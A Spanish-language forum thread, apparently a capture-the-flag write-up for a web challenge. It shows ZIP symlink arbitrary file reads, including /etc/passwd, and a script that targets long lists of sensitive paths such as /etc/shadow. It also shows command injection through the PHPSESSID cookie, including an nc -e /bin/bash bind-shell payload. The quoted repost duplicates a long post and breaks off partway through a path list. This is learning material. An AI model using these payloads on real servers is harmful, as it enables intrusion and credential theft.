Underc0de

[In]Seguridad Informática => Wargames y retos => Mensaje iniciado por: Jimeno en Abril 28, 2016, 05:20:19 PM

Título: Mini Reto explotación web [Fácil]
Publicado por: Jimeno en Abril 28, 2016, 05:20:19 PM
Buenas.

Os dejo un pequeño reto de explotación web.
Objetivo: enviar por MP a @Jimeno (https://underc0de.org/foro/index.php?action=profile;u=9827) el contenido del fichero /banana/secret.lst
Podéis leerlo y dar por finalizado el reto o continuar con la explotación, es probable que podáis conseguir ser root :)
URL: http://52.58.126.85


Un saludo.
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: Jimeno en Mayo 04, 2016, 06:50:58 PM
Buenas.

Como han pasado ya unos días desde que lo publiqué y no me han llegado soluciones válidas dejo la respuesta a la parte de conseguir leer el fichero:

Al abrir la web nos encontramos con un uploader. Tras probar muchas extensiones podremos ver que se trata de un whitelist que únicamente admite ficheros .zip.
Si subimos un fichero ZIP con una carpeta, por ejemplo, veremos que obtenemos la siguiente salida:

Código (bash) [Seleccionar]
cat: /tmp/vv89ts6vpptuiju8odh5844j95/gifwebshells: Is a directory

Por lo que podemos suponer que hace un unzip y, tras ello, un cat a los contenidos obtenidos. Para asegurarnos podemos subir un ZIP que contiene un fichero de texto:
¡PREMIO!
Código (html5) [Seleccionar]
<!DOCTYPE html5>
<head>
<meta charset="utf-8"/>
<title>Sube tu archivo aquí</title>
</head>

<body>
<form action="?page=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" value="kuankear!"/>
</form>



Contenido del ZIP:<br>Hola, Underc[0]de


</body>
</html>


Ahora solamente nos queda conseguir leer ficheros internos... ¿parece difícil?
Si revisamos la documentación de zip veremos que se permite conservar los symlinks https://es.wikipedia.org/wiki/Enlace_simb%C3%B3lico al crear un fichero ZIP. Por lo que podremos aprovecharlo para leer un fichero interno...

(http://i.imgur.com/feuDbx0.png)

Pero... mejor vamos paso a paso:
Código (bash) [Seleccionar]
ln -s /banana/secret.lst prueba1
Esta línea crea un fichero nuevo llamado "prueba1" que queda enlazado con el fichero que deseamos leer (el cual ahora mismo no poseemos)[/li]
[li]
Código (bash) [Seleccionar]
zip --symlinks prueba1.zip prueba1
Por último quedaría subir el fichero:
Código (html5) [Seleccionar]
<!DOCTYPE html5>
<head>
<meta charset="utf-8"/>
<title>Sube tu archivo aquí</title>
</head>

<body>
<form action="?page=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" value="kuankear!"/>
</form>



Contenido del ZIP:<br>underc0de{resolviste_el_reto_enhorabuena}


</body>
</html>



Hemos obtenido el contenido del fichero: underc0de{resolviste_el_reto_enhorabuena}

* algunos del staff hablaron conmigo sobre la explotación de este tipo de fallos en un entorno real, Facebook mismamente fue vulnerable: http://josipfranjkovic.blogspot.com.es/2014/12/reading-local-files-from-facebooks.html

Podéis probarlo por vosotros mismos, dejaré el servidor activo unos días.
PD: sí, se pueden leer ficheros como /etc/passwd y otros (:
¡Saludos!
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: DeBobiPro en Mayo 04, 2016, 06:56:59 PM
Probado y funciona!

No tenía idea de los symlinks con ZIP .

Agradecido !

Saludos!
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: blackdrake en Mayo 05, 2016, 05:40:54 AM
Muy buen reto!!, la verdad es, que nunca se me ocurrió pensar en los symlinks y me quedé atascado pensando como podía ejecutar código al subir el .zip, pues subiendo un txt te mostraba su contenido.

Título: Re:Mini Reto explotación web [Fácil]
Publicado por: Jimeno en Mayo 05, 2016, 11:42:09 AM
En unos días libero la solución de ejecutar comandos remotamente y lo elimino :)
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: seth en Mayo 08, 2016, 10:05:10 PM
CitarFirefox can't establish a connection to the server at 52.58.126.85.


edit: consegui ejecutar codigo pero en local, tendria que provar en el servidor
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: blackdrake en Mayo 09, 2016, 08:12:59 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
CitarFirefox can't establish a connection to the server at 52.58.126.85.


edit: consegui ejecutar codigo pero en local, tendria que provar en el servidor

Me temo que el reto ya no está disponible.

Saludos.
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: seth en Mayo 09, 2016, 06:55:51 PM
Entonces puedo postear la que creo que es la solucion y como llegué hasta ahi?
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: rollth en Mayo 09, 2016, 07:05:49 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Entonces puedo postear la que creo que es la solucion y como llegué hasta ahi?

La solución está posteada, pero si has encontrado un camino alternativo, adelante :D
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: seth en Mayo 09, 2016, 09:07:20 PM
Yo no resolvi la primer parte, lei el post que explicaba como leer archivos y jugue a conseguir ejecucion de codigo

Primero me hice un script para tratar de conseguir mas información. El objetivo era conseguir archivos de configuracion, principalmente para sacar el path del php que maneja las subidas. Mi idea era por un lado, leer el codigo para ver como funcionaba, y por el otro ver si se podia hacer que los archivos descompriman en la carpeta de la web y subir una shell.


<?PHP
$a = file_get_contents("httpd-conf-locations.txt");

$i=300;
foreach(explode("\n", $a) as $line){
    system('ln -s "'.$line.'" prueba'.$i++);
}


El txt es este:
/etc/apache/conf/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/etc/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/usr/apache/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/apps/apache/conf/httpd.conf
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.php
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/var/www/conf/httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
C:/Program Files/Apache Software Foundation/Apache2.2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/pkg/etc/httpd/httpd.conf
/usr/local/etc/apache22/httpd.conf
/usr/local/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/conf.d/apache2
/opt/lampp/etc/httpd.conf

Despues:
zip --symlinks prueba1.zip prueba*

Ahi me aparecio el archivo de configuracion de apache y saque que la carpeta es /var/www
Ya me habia imaginado que era esa la carpeta, pero buscaba el archivo en /var/www/index.php

Volvi a correr el script con otro txt:
/apache/logs/access.log
/apache/logs/error.log
/apache2/logs/access.log
/apache2/logs/error.log
/bin/php.ini
/etc/apache/conf/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/cgi-bin
/etc/chrootUsers
/etc/ftpchroot
/etc/ftphosts
/etc/group
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/etc/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/acces.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/php.ini
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/mail/access
/etc/my.cnf
/etc/mysql/my.cnf
/etc/passwd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/proftp.conf
/etc/proftpd/modules.conf
/etc/protpd/proftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/security/environ
/etc/security/failedlogin
/etc/security/group
/etc/security/lastlog
/etc/security/limits
/etc/security/passwd
/etc/security/user
/etc/shadow
/etc/utmp
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wtmp
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/access.log
/logs/error.log
/logs/pure-ftpd.log
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/opt/lampp/logs/access.log
/opt/lampp/logs/access_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error.log
/opt/lampp/logs/error_log
/opt/lampp/logs/error_log
/opt/xampp/etc/php.ini
/opt/xampp/logs/access.log
/opt/xampp/logs/access_log
/opt/xampp/logs/error.log
/opt/xampp/logs/error_log
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/root/.Xauthority
/root/.bash_history
/root/.bash_logut
/root/.ksh_history
/usr/apache/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/etc/pure-ftpd.conf
/usr/lib/cron/log
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/lib/security/mkuser.default
/usr/local/Zend/etc/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/httpd.conf
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access. log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error_log
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/usr/local/apps/apache/conf/httpd.conf
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache/vhosts.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.php
/usr/local/php/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/thttpd_log
/usr/pkgsrc/net/pureftpd/
/usr/ports/contrib/pure-ftpd/
/usr/ports/ftp/pure-ftpd/
/usr/ports/net/pure-ftpd/
/usr/sbin/pure-config.pl
/usr/spool/lp/log
/usr/spool/mqueue/syslog
/var/adm
/var/adm/SYSLOG
/var/adm/X0msgs
/var/adm/acct/sum/loginlog
/var/adm/aculog
/var/adm/aculogs
/var/adm/crash/unix
/var/adm/crash/vmcore
/var/adm/cron/log
/var/adm/dtmp
/var/adm/lastlog/username
/var/adm/log/asppp.log
/var/adm/log/xferlog
/var/adm/loginlog
/var/adm/lp/lpd-errs
/var/adm/messages
/var/adm/pacct
/var/adm/qacct
/var/adm/ras/bootlog
/var/adm/ras/errlog
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/apache/log
/var/apache/log
/var/apache/logs
/var/apache/logs
/var/apache/logs/access_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/cron/log
/var/lib/mysql/my.cnf
/var/local/www/conf/php.ini
/var/lock/samba
/var/log
/var/log/POPlog
/var/log/access.log
/var/log/access_log
/var/log/access_log
/var/log/acct
/var/log/apache-ssl/access.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/apache-ssl/error.log
/var/log/apache/access.log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/auth
/var/log/auth.log
/var/log/authlog
/var/log/boot.log
/var/log/cron.log
/var/log/error.log
/var/log/error_log
/var/log/error_log
/var/log/exim/mainlog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_mainlog
/var/log/exim_paniclog
/var/log/exim_rejectlog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/ftplog
/var/log/httpd/
/var/log/httpd/access.log
/var/log/httpd/access_log
/var/log/httpd/access_log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd
/var/log/maillog
/var/log/message
/var/log/messages
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqld.log
/var/log/mysqlderror.log
/var/log/ncftpd.errs
/var/log/ncftpd/misclog.txt
/var/log/news
/var/log/news.all
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/poplog
/var/log/proftpd
/var/log/proftpd.access_log
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/proftpd/xferlog.legacy
/var/log/pure-ftpd/pure-ftpd.log
/var/log/pureftpd.log
/var/log/qmail
/var/log/qmail/
/var/log/samba
/var/log/samba-log.%m
/var/log/secure
/var/log/smtpd
/var/log/spooler
/var/log/syslog
/var/log/telnetd
/var/log/thttpd_log
/var/log/utmp
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/lp/logs/lpNet
/var/lp/logs/lpsched
/var/lp/logs/requests
/var/mysql.log
/var/run/utmp
/var/saf/_log
/var/saf/port/log
/var/spool/errors
/var/spool/locks
/var/spool/logs
/var/spool/tmp
/var/www/conf/httpd.conf
/var/www/log/access_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/logs/error_log
/web/conf/php.ini
/www/logs/proftpd.system.log
c:\NetServer\bin\stable\apache\php.ini
c:\PHP\php.ini
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\xampp\apache\conf\httpd.conf
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\apache\logs\access.log
c:\apache\logs\access.log
c:\apache\logs\error.log
c:\apache\logs\error.log
c:\apache\php\php.ini
c:\home2\bin\stable\apache\php.ini
c:\home\bin\stable\apache\php.ini
c:\php4\php.ini
c:\php5\php.ini
c:\php\php.ini
c:\xampp\apache\bin\php.ini

Ahi vi algunos archivos mas y me di cuenta de que era un ubuntu. Tambien me di cuenta de que no habia ninguna configuracion loca, el archivo php.ini estaba como cualquier otro, habian pocos usuarios, el usuario del webserver era www-data y cosas asi. Pregunté y me dijeron que en ubuntu tenia que buscar en /var/www/html/index.php

Ahi consegui el source:
ln -s "/var/www/html/index.php" prueba54
zip --symlinks prueba1.zip prueba54


<!DOCTYPE html5>
<head>
    <meta charset="utf-8"/>
    <title>Sube tu archivo aquí</title>
</head>

<body>
    <form action="?page=upload" method="post" enctype="multipart/form-data">
        <input type="file" name="file"/>
        <input type="submit" value="kuankear!"/>
    </form>


<?php
    session_start
();
    
$allowed = array('zip');
    
$filename $_FILES['file']['name'];
    
$ext pathinfo($filenamePATHINFO_EXTENSION);
    if (!
in_array($ext$allowed)) {
        die(
"La extensión del archivo no es admisible.");
    }
    
$tmp_file "/tmp/" session_id();
    
$zip = new ZipArchive;
    
$zip->open($_FILES['file']['name']);
    
$zip->extractTo($tmp_file);
    
exec('unzip -o ' $_FILES['file']['tmp_name'] . ' -d ' $tmp_file);
    echo 
"Contenido del ZIP:<br>";
    
passthru("cat $tmp_file/* 2>&1");
    
exec("rm -rf $tmp_file");
    
?>



</body>
</html>


Ahi me di cuenta de algo que podria haber visto mucho antes: cuando tiraba errores tipo "cat: /tmp/asdasdasdasdqwe: No such file or directory", el nombre del archivo venia del id de sesion (la cookie PHPSESSID)

La parte importante:
    session_start();
    $tmp_file = "/tmp/" . session_id();
    passthru("cat $tmp_file/* 2>&1");


Con exec() tambien se ejecutan los comandos, pero con passthru() vemos la salida
Seteo la cookie a esto:
Citar0g4clkinm90tfeukeferus7en0asd$(id)
Y entre un monton de errores se ve esto:

Contenido del ZIP:<br>cat: /tmp/0g4clkinm90tfeukeferus7en0asduid=33(http): Is a directory
cat: gid=33(http): No such file or directory
cat: groups=33(http)/*: No such file or directory


Trate de correr nc y wget pero no podia porque si ponia un espacio en la cookie, php generaba otra
Use esto: http://0xa.li/executing-bash-commands-without-space/
Me quedó esta cookie: qur0v0rjnj840jju8qn1qpdjd3q$({nc,-lp,8989,-e,/bin/bash})
Y ahi me pude conectar a una shell remota

A partir de la parte donde consigo el codigo php, todas las pruebas son locales porque desaparecio el servidor. Es probable que en el servidor no me pueda conectar asi, pero sirve la misma tecnica para hacer una conexion inversa o para bajar una webshell con wget


Me diverti bastante, me gustó que no haya que adivinar cosas
Título: Re:Mini Reto explotación web [Fácil]
Publicado por: Jimeno en Mayo 10, 2016, 08:02:34 AM
Enhorabuena @seth (https://underc0de.org/foro/index.php?action=profile;u=38096), tú y JKS conseguisteis esa, la solución esperada. Hiciste un gran trabajo :)

Espero sacar más retos pronto

Un saludo y gracias por participar.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Yo no resolvi la primer parte, lei el post que explicaba como leer archivos y jugue a conseguir ejecucion de codigo

Primero me hice un script para tratar de conseguir mas información. El objetivo era conseguir archivos de configuracion, principalmente para sacar el path del php que maneja las subidas. Mi idea era por un lado, leer el codigo para ver como funcionaba, y por el otro ver si se podia hacer que los archivos descompriman en la carpeta de la web y subir una shell.


<?PHP
$a = file_get_contents("httpd-conf-locations.txt");

$i=300;
foreach(explode("\n", $a) as $line){
    system('ln -s "'.$line.'" prueba'.$i++);
}


El txt es este:
/etc/apache/conf/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/etc/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/usr/apache/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/apps/apache/conf/httpd.conf
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.php
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/var/www/conf/httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
C:/Program Files/Apache Software Foundation/Apache2.2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/pkg/etc/httpd/httpd.conf
/usr/local/etc/apache22/httpd.conf
/usr/local/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/conf.d/apache2
/opt/lampp/etc/httpd.conf

Despues:
zip --symlinks prueba1.zip prueba*

Ahi me aparecio el archivo de configuracion de apache y saque que la carpeta es /var/www
Ya me habia imaginado que era esa la carpeta, pero buscaba el archivo en /var/www/index.php

Volvi a correr el script con otro txt:
/apache/logs/access.log
/apache/logs/error.log
/apache2/logs/access.log
/apache2/logs/error.log
/bin/php.ini
/etc/apache/conf/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/cgi-bin
/etc/chrootUsers
/etc/ftpchroot
/etc/ftphosts
/etc/group
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/etc/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/acces.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/php.ini
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/mail/access
/etc/my.cnf
/etc/mysql/my.cnf
/etc/passwd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/proftp.conf
/etc/proftpd/modules.conf
/etc/protpd/proftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/security/environ
/etc/security/failedlogin
/etc/security/group
/etc/security/lastlog
/etc/security/limits
/etc/security/passwd
/etc/security/user
/etc/shadow
/etc/utmp
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wtmp
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/access.log
/logs/error.log
/logs/pure-ftpd.log
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/opt/lampp/logs/access.log
/opt/lampp/logs/access_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error.log
/opt/lampp/logs/error_log
/opt/lampp/logs/error_log
/opt/xampp/etc/php.ini
/opt/xampp/logs/access.log
/opt/xampp/logs/access_log
/opt/xampp/logs/error.log
/opt/xampp/logs/error_log
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/root/.Xauthority
/root/.bash_history
/root/.bash_logut
/root/.ksh_history
/usr/apache/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/etc/pure-ftpd.conf
/usr/lib/cron/log
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/lib/security/mkuser.default
/usr/local/Zend/etc/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/httpd.conf
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access. log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error_log
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/usr/local/apps/apache/conf/httpd.conf
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache/vhosts.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.php
/usr/local/php/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/thttpd_log
/usr/pkgsrc/net/pureftpd/
/usr/ports/contrib/pure-ftpd/
/usr/ports/ftp/pure-ftpd/
/usr/ports/net/pure-ftpd/
/usr/sbin/pure-config.pl
/usr/spool/lp/log
/usr/spool/mqueue/syslog
/var/adm
/var/adm/SYSLOG
/var/adm/X0msgs
/var/adm/acct/sum/loginlog
/var/adm/aculog
/var/adm/aculogs
/var/adm/crash/unix
/var/adm/crash/vmcore
/var/adm/cron/log
/var/adm/dtmp
/var/adm/lastlog/username
/var/adm/log/asppp.log
/var/adm/log/xferlog
/var/adm/loginlog
/var/adm/lp/lpd-errs
/var/adm/messages
/var/adm/pacct
/var/adm/qacct
/var/adm/ras/bootlog
/var/adm/ras/errlog
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/apache/log
/var/apache/log
/var/apache/logs
/var/apache/logs
/var/apache/logs/access_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/cron/log
/var/lib/mysql/my.cnf
/var/local/www/conf/php.ini
/var/lock/samba
/var/log
/var/log/POPlog
/var/log/access.log
/var/log/access_log
/var/log/access_log
/var/log/acct
/var/log/apache-ssl/access.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/apache-ssl/error.log
/var/log/apache/access.log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/auth
/var/log/auth.log
/var/log/authlog
/var/log/boot.log
/var/log/cron.log
/var/log/error.log
/var/log/error_log
/var/log/error_log
/var/log/exim/mainlog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_mainlog
/var/log/exim_paniclog
/var/log/exim_rejectlog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/ftplog
/var/log/httpd/
/var/log/httpd/access.log
/var/log/httpd/access_log
/var/log/httpd/access_log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd
/var/log/maillog
/var/log/message
/var/log/messages
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqld.log
/var/log/mysqlderror.log
/var/log/ncftpd.errs
/var/log/ncftpd/misclog.txt
/var/log/news
/var/log/news.all
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/poplog
/var/log/proftpd
/var/log/proftpd.access_log
